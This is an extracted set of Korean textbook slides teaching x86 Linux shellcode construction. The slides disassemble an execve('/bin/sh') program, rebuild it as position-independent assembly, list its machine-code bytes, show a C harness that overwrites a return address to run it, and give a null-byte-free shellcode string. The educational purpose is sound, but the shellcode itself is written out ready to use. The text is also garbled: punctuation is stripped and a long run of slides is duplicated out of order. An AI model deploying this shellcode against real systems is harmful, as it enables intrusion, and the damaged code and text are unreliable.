실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 73: 80×86  시스템에 대한 이해

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

